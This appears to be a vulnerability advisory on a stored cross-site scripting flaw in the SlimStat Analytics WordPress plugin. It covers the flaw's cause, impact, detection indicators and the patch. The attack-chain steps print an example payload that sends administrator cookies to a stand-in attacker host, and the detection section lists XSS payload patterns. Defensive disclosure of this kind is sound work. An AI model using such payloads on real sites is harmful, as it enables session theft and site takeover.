CVE-2025-15055: 
WordPress vulnerability analysis and mitigation

CVE-2025-15055 is a Stored Cross-Site Scripting (XSS) vulnerability in the SlimStat Analytics plugin for WordPress, affecting all versions up to and including 5.3.4. The flaw exists in the notes and resource parameters due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the Recent Custom Events report. It was published on January 9, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize user-supplied input in the notes and resource parameters before storing it, and fails to escape the data on output when rendering the Recent Custom Events report in the WordPress admin panel. Because no authentication is required to submit data through these parameters, any unauthenticated network attacker can plant a malicious payload that persists in the database and fires in the administrator's browser session upon report access (Wordfence, Plugin Changeset).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session. This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and potential full site compromise. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress environment (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-15055 as of the available data. The EPSS score is approximately 0.074%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. It is detectable by Qualys (detection ID 530822) (Wordfence).

1. Reconnaissance: Identify WordPress sites running the SlimStat Analytics plugin (version ≤ 5.3.4) via passive fingerprinting (e.g., checking /wp-content/plugins/wp-slimstat/ paths) or tools like WPScan.
2. Craft malicious payload: Prepare a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the notes or resource parameters accepted by the plugin's custom event tracking endpoint.
3. Submit unauthenticated request: Send an HTTP request (no authentication required) to the plugin's event-tracking endpoint with the malicious payload embedded in the notes or resource parameter, causing it to be stored in the WordPress database.
4. Wait for administrator trigger: The injected script executes automatically when a WordPress administrator navigates to the Recent Custom Events report in the admin dashboard.
5. Achieve objective: The executed script can steal the administrator's session cookie, perform actions on their behalf (e.g., create a backdoor admin account), or redirect them to a phishing page (Wordfence).

• Network: Unexpected HTTP POST requests to SlimStat Analytics event-tracking endpoints containing script tags or encoded JavaScript in notes or resource parameter values; outbound requests from the WordPress server to unknown external domains after admin report access.
• Logs: WordPress or web server access logs showing requests with suspicious payloads (e.g., <script>, javascript:, onerror=) in query strings or POST bodies targeting SlimStat endpoints.
• Database: Entries in the SlimStat database tables (e.g., wp_slim_stats_*) containing raw HTML or JavaScript in notes or resource fields.
• Browser/Admin Session: Unexpected redirects or pop-ups when administrators access the Recent Custom Events report; new administrator accounts created without authorization.

Users should update the SlimStat Analytics plugin to version 5.3.5 or later, which addresses the insufficient sanitization and escaping in the affected parameters (Plugin Changeset). As an interim measure, administrators can restrict access to the WordPress admin panel using IP allowlisting or a Web Application Firewall (WAF) rule to block requests containing script tags in the notes and resource parameters. Wordfence users with the premium firewall enabled may receive additional protection through virtual patching (Wordfence).

Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for January 5–11, 2026 (Wordfence Blog). Sucuri also referenced the issue in their January 2026 vulnerability patch roundup (Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability aggregation has been observed.